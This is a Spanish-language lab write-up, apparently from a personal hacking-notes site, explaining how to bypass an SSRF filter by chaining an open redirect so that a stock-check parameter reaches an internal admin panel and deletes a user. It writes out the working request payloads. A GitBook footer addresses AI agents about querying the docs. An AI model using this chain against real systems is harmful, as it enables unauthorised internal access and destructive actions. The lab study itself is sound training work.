> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-bypass-via-open-redirection.md).

# Evasión de SSRF mediante redirección abierta

### SSRF con omisión de filtros mediante una vulnerabilidad de redirección abierta

Este laboratorio utiliza una función de verificación de stock que recupera datos de un sistema interno. / El objetivo es modificar la URL utilizada por el comprobador de stock para llegar a la interfaz de administración ubicada en `HTTP://192.168.0.12:8080/admin`y luego eliminar al usuario **carlos**.

Los filtros del lado del servidor solo permiten URL internas de la aplicación, lo que requiere explotar una vulnerabilidad de redirección abierta.

#### Análisis

El parámetro controlado es:

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

Si intentamos directamente:

```javascript
stockApi=http://192.168.0.12:8080/admin
```

el servidor devuelve `URL externa de verificación de stock no válida 'Invalid URL'`: las solicitudes externas están bloqueadas.

<figure><img src="/files/5e9bc1630c19a01733eaac76d7151c537d2e8b74" alt=""><figcaption></figcaption></figure>

Sin embargo, la aplicación tiene una **nextProduct** función, que es vulnerable a redirección abierta a través del `path` parámetro:

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/173b580d30133f4600d4288af9b86aec0dc8c812" alt=""><figcaption></figcaption></figure>

Esta función obliga al servidor a seguir una URL arbitraria a la que redirige.

#### Explotación

Por lo tanto, el redireccionador interno se utiliza como un intermediario hacia el sistema interno:

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/eccb84e980d5a50318464e72596aaeecb42dc2f6" alt=""><figcaption></figcaption></figure>

Una vez que se obtiene acceso a la interfaz de administración mediante esta redirección, el usuario **carlos** se elimina:

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
